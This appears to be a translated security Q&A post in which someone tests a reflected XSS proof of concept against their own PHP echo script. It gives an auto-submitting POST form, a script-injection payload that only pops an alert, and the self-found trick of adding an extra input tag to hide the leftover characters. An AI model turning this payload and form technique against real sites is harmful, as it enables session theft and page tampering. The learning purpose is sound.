XSS PoC:在 DOM 中隐藏呈现的字符

XSS PoC: Hide Rendered Characters in DOM

我已经开始玩 XSS 以更好地改善我在工作中的安全状况。我已经能够使用重定向的 POST 形式成功利用反射 XSS 攻击,但我似乎无法删除页面上显示的无关字符。

我检查过:

XSS: Character showing in DOM

https://security.stackexchange.com/questions/207282/xss-character-showing-in-dom?newreg=61e9890d94d34d0c8818158ba541b117

How to load javascript on another webpage through XSS?

但是 none 的建议似乎对我有用。

我的漏洞利用是一种基本形式,利用 PHP 服务器端脚本我已经配置回显 $_POST['username'] 到值属性:

<form id=1 method="post" action="http://vulnerable.site.com">
    <input type="hidden" name="username"
    value="&quot;&gt;&lt;script&gt;alert('Hello');&lt;/script&gt;&quot;">
</form>
<script>
    document.getElementById(1).submit();
</script>

未编码:

<form id=1 method="post" action="http://vulnerable.site.com">
    <input type="hidden" name="username"
    value=""><script>alert('Hello');</script>">
</form>
<script>
    document.getElementById(1).submit();
</script>

但是这个讨厌的">不会死:

我试过:

我确定这很愚蠢,但我错过了什么?这显然是可能的,但我不是熟练的网络开发人员(因此摆弄)。如有任何反馈或建议,我们将不胜感激!

经过数小时的反复试验,我最终弄明白了。这个想法是用一个单独的标签来关闭悬挂标签:

所以之前的有效载荷是:

"><script>alert('Hello');</script>

在 PHP 脚本解析后,它看起来像这样:

<input type="text" name="username" value="">"> <!-- notice the dangling tag -->

添加结束输入标签后,解决方案有效:

"><script>alert('Hello');</script><input type="hidden" value="

和PHP解析的输出:

<input type="text" name="username" value=""><script>alert('Hello');</script><input type="hidden" value="">

请注意,以上内容需要 HTML 编码才能正常工作。为了便于阅读,我省略了它。